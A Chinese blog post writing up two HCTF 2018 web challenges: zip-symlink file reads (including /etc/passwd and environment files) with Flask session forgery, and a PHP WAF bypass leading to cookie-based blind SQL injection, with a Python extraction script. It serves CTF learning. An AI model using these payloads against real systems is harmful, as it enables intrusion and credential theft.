theKingOfNight's Blog

PHP-HCTF两道web题目

Word count: 6.1kReading time: 35 min
2019/01/19 Share

HCTF WEB wp

官方Writeup: [https://bysec.io/hctf/writeup.html]
所有源码: [https://github.com/vidar-team/HCTF2018]

HCTF的题目总体来说相当不错,部分题目质量很高,同时也有很多我没有考虑到的地方,这里记录一哈学习笔记。

hide and seek

这道题目质量相当不错,来源于实际。
Description
only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
URL http://hideandseek.2018.hctf.io
Base Score 1000.00
Now Score 424.63
Team solved 25

http://hideandseek.2018.hctf.io/
主界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="/#">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
<form class="navbar-form navbar-right" action="login" method="post" >
<div class="form-group">
<input type="text" placeholder="username" name="username" class="form-control">
</div>
<div class="form-group">
<input type="password" placeholder="password" name="password" class="form-control">
</div>
<button type="submit" class="btn btn-success">Sign in</button>
</form>
</div>
<h1>For more information, please login.</h1>

然后随便一个用户就可以登录,登录后是一个上传界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="/#">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
<div class="navbar-form navbar-right">
<ul class="nav navbar-nav">
<li ><a href="#">admin@qq.coms</a></li>
<li><a href="logout">Logout</a></li>
</ul>
<p class="lead">
<h1>Hello, admin@qq.coms. </h1>
<h3>I will tell you a secret, but you should upload a zipfile first.</h3>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="submit" name="submit" value="Submit" />
</form>

这里需要上传zip文件,猜测需要zip软链接任意文件读取,参考这篇文章

1
2
3
4
5
6
7
8
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $ln -s /etc/passwd link
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $zip --symlinks test.zip link
adding: link (stored 0%)
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $ls
link test.zip

上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /upload HTTP/1.1
Host: hideandseek.2018.hctf.io
Content-Length: 459
Cache-Control: max-age=0
Origin: http://hideandseek.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpFlNQbuY8hgJaFQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hideandseek.2018.hctf.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
------WebKitFormBoundaryLpFlNQbuY8hgJaFQ
Content-Disposition: form-data; name="the_file"; filename="test.zip"
Content-Type: application/zip
PK
¶kM
¹)linkUT §óè[ªóè[uxèè/etc/passwdPK
¶kM
¹)ÿ¡linkUT§óè[uxèèPKJI
------WebKitFormBoundaryLpFlNQbuY8hgJaFQ
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryLpFlNQbuY8hgJaFQ--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 03:30:44 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1020
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false

这样就可以任意文件读取了。
最后在/proc/self/environ中读取到了一些有用的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 03:49:09 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 775
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=975f0d211f5a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

这里可以看到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
response

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:07:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 95
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

1
rm link&&ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini link&&zip --symlinks test.zip link

然后读取相应文件

1
2
3
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py link&&zip --symlinks test.zip link
updating: link (stored 0%)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 10:59:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2703
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
1
2
└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html link&&zip --symlinks test.zip link
updating: link (stored 0%)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="/#">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
{% if user %}
<div class="navbar-form navbar-right">
<ul class="nav navbar-nav">
<li ><a href="#">{{ user }}</a></li>
<li><a href="logout">Logout</a></li>
</ul>
{% else %}
<form class="navbar-form navbar-right" action="login" method="post" >
<div class="form-group">
<input type="text" placeholder="username" name="username" class="form-control">
</div>
<div class="form-group">
<input type="password" placeholder="password" name="password" class="form-control">
</div>
<button type="submit" class="btn btn-success">Sign in</button>
</form>
{% endif %}
</div>
<div class="starter-template">
<p class="lead">
{% if user %}
<br>
<h1>Hello, {{ user }}. </h1>
<br>
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
<br>
{% else %}
<br>
<h3>I will tell you a secret, but you should upload a zipfile first.</h3>
<br>
<form action="/upload" method="post"
enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="submit" name="submit" value="Submit" />
</form>
<br>
{% endif %}
{% else %}
<br>
<h1>For more information, please login.</h1>
{% endif %}
</p>
</div>
</div>
{% if forbidden %}
<script type="text/javascript">alert("Sorry, you are not admin!")</script>>
{% endif %}
</body>
</html>

flask框架简化后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

这里可以看到,我们无法以admin用户进行登录,就需要伪造admin身份,而且这里判断依据是user=session[‘username’]。
但是这段代码看起来完美无缺,简短精憾,在不考虑0day的情况下,而且ctf题目一定有解(除国赛web2)的情况下。
所以问题只有可能出现在这里。

1
2
3
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

通过这些信息进行伪造admin用户。
需要序列号

1
2
3
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $rm link&&ln -s /app/main.py link&&zip --symlinks test.zip link
updating: link (stored 0%)

首先查看python的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:03:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 257
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

根据python3.6的特征

1
2
app.config['SECRET_KEY']是这里的随机数
不过种子是random.seed(uuid.getnode()),也就是机器的mac地址(固定可读)

所以这里可以预测随机数
针对uuid.getnode()
读取/sys/class/net/eth0/address

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:05:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18
Connection: close
12:34:3e:14:7c:62

最后需要的东西都已经齐全了,本地得到session然后直接在服务器端替换就好
最后

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: hideandseek.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hideandseek.2018.hctf.io/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.2.1633104795.1541783595; _gid=GA1.2.2136505943.1541783595; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
Connection: close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:48:43 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Cookie
Content-Length: 2336
<!DOCTYPE html>
<html lang="zh-CN">
<body>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="/#">Home</a></li>
<li><a href="#about">About</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
<div class="navbar-form navbar-right">
<ul class="nav navbar-nav">
<li ><a href="#">admin</a></li>
<li><a href="logout">Logout</a></li>
</ul>
<div class="starter-template">
<p class="lead">
<br>
<h1>Hello, admin. </h1>
Your flag: <br>
hctf{2495e2ef667b367a0738f5eae9d6afb983c2}
</p>
</div>
</div><!-- /.container -->
</body>
</html>

kzone

这到题目相当不错,同时也显现了我代码审计的许多不足
www.zip源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
├── 2018.php
├── admin
│   ├── delete.php
│   ├── export.php
│   ├── index.php
│   ├── list.php
│   ├── login.php
│   └── pass.php
├── config.php
├── Default account&password.txt
├── include
│   ├── common.php
│   ├── db.class.php
│   ├── function.php
│   ├── kill.intercept.php
│   ├── member.php
│   ├── os.php
│   └── safe.php
├── index.php
├── install.sql
├── robots.txt
├── Tutorial.txt
└── www.zip

以下是我代码审计的一种安全观,当然我个人比较喜欢全文通读代码,同时技术也比较菜…

1
2
3
/include/* 中就是很多函数的方法
/admin/* 就是管理员常用的一些功能
/* 就是外面展现给用户的一部分

1
2
3
4
Tutorial.txt
这里就是告诉数据库密码是md5保存的
而且2838778326根据google搜索可以知道这是钓鱼网站
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/index.php
<?php
require_once 'include/common.php';
?>
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<title>Mobile phone unified login</title>
<form action="2018.php" method="post" onSubmit="return ts()">
<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<ul id="g_list">
<div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div>
<input id="u" class="inputstyle" name="user" autocomplete="off" placeholder="KK_Account/Phone/Email"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="pass" autocorrect="off"
placeholder="Input your KK_Account please"></li>
</ul>
<button id="go" name="submit">Login</button>
<div href="javascript:void(0);" id="onekey">Login quickly</div>
</div>
<div id="switch">
<div id="swicth_login" onClick="pt._switch()" style="display:none"></div>
<div id="zc_feedback"><span id="zc"
onclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register</span>
<span id="forgetpwd">Retrieve password</span></div>
</div>
</form>
</head>
</html>

这里只需要关注

1
2
require_once 'include/common.php';
<form action="2018.php"

在看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/include/common.php
<?php
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768526');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();
include ROOT.'../config.php';
if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);
$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";
?>

这里$password_hash=’!@#%!s!’;理论上应该可以得到许多意想不到的东西
不过在这里,关注以下内容

1
2
define('IN_CRONLITE', true);
session_start();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/include/safe.php
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

这里过滤了很多东西,使sql注入变的很棘手,不过没有过滤裸露的\’,同时,对参数的过滤没有过滤XFF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
member.php
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

这里首先判断了defined(‘IN_CRONLITE’),当然在common中定义了,意外着所有包含了’include/common.php’的文件都会进行member的审核。
然后首先判断有没有_COOKIE[“islogin”]),在判断admin_user(当然是admin),同时进行数据库查询,如果没有成功查询,就返回两个set-cookie,后面admin_pass如果数据库查询的结果做比较,如果未果,就再返回两个set,当然这里需要注意使用了==,同时,数据库数据存储的是md5。
所以这里就可以采用经典的md5绕过,根据set-cookie来进行盲注。
当然大前提是得过waf。
而且这里admin_pass中采用了==,利用php的漏洞,可以直接数字与字符串进行比较,只需要前面数字部分匹配就好了。
最后fuzz可以直接得出

1
Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

数据应该是在数据库中的,fuzz最后使用unicode编码绕过,思路:

1
union->\u0075nion

md5绕过

1
islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}

set-cookie盲住回显
send

1
2
3
4
5
6
7
8
9
10
GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":1}
Connection: close

response

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:28:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=r64690s2u5l79i1ib7eodiplo6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

send

1
2
3
4
5
6
7
8
9
10
GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}
Connection: close

response

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:28:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=jst6ilm633mcctc5plva3qg4n1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

send

1
2
3
4
5
6
7
8
9
10
GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin1","admin_pass":1}
Connection: close

response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:30:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=8f388a7k195v6j0dkdg7oejl37; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

这里所有/include/common.php的都会受影响
接着看
2018.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2018.php
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
?>

这里调用了real_ip()方法,在kill.intercept.php中定义,这里只贴简化代码

1
2
3
4
5
6
7
8
9
10
11
12
function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}

这里应该ip2long将ip转换为数字,再根据之前的分析ip已经没有注入漏洞了。

在safe.php过滤的情况下,其他*.php就不分析了,几乎可以通杀,登录到admin执行sql语句就会十分方便。

这里给出sql注入的方法
根据set-cookie的不同写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import string
def test_once(index,s):
session = requests.Session()
paramsPost = {"login":"Login","pass":"1","user":"admin"}
cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
flag = response.headers['Set-Cookie'].count('islogin')
if flag == 1:
print(index,s,'yes')
return True
elif flag == 2:
print(index,s,'no')
else:
print('[-] may be error,{}'.format(s))
return False
def hack():
ss = string.printable
num = 41
flag = ''
end = 0
i = 1
for i in range(1,num):
for s in ss:
if test_once(i,s+flag):
flag = s+flag
break
print flag
print flag
if __name__=='__main__':
hack()

也可以使用sqlmap注入,sqlmap自己写paylaod的可以参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a.txt
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
